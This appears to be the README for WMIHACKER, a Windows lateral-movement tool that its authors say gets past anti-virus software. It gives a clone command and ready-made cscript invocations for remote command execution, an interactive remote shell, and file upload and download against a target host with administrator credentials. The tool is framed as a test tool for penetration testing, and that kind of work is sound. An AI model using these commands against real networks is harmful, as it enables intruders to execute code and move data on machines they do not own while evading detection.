WMIHACKER: Bypass anti-virus software lateral movement command execution test tool
WMIHACKER（No need 445 Port）
Bypass anti-virus software lateral movement command execution test tool（No need 445 Port）
Introduction: The common WMIEXEC, PSEXEC tool execution command is to create a service or call Win32_Process.create, these methods have been intercepted by Anti-virus software 100%, so we created WMIHACKER (Bypass anti-virus software lateral movement command execution test tool（No need 445 Port）).
Main functions:
1. Command execution
2. File upload
3. File download
Download
git clone https://github.com/360-Linton-Lab/WMIHACKER.git
Use
The result is displayed after the command is executed
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator “Password!” “systeminfo” 1
No results are displayed after the command is executed
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator “Password!” “systeminfo > c:\1.txt” 0
shell mode
> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator “Password!”
File upload: copy the local calc.exe to the remote host c:\calc.exe
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator “Password!” “c:\windows\system32\calc.exe” “c:\calc”
File download: Download the remote host calc.exe to the local c:\calc.exe
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator “Password!” “c:\calc” “c:\windows\system32\calc.exe”
Copyright (C) 2020 360-Linton-Lab
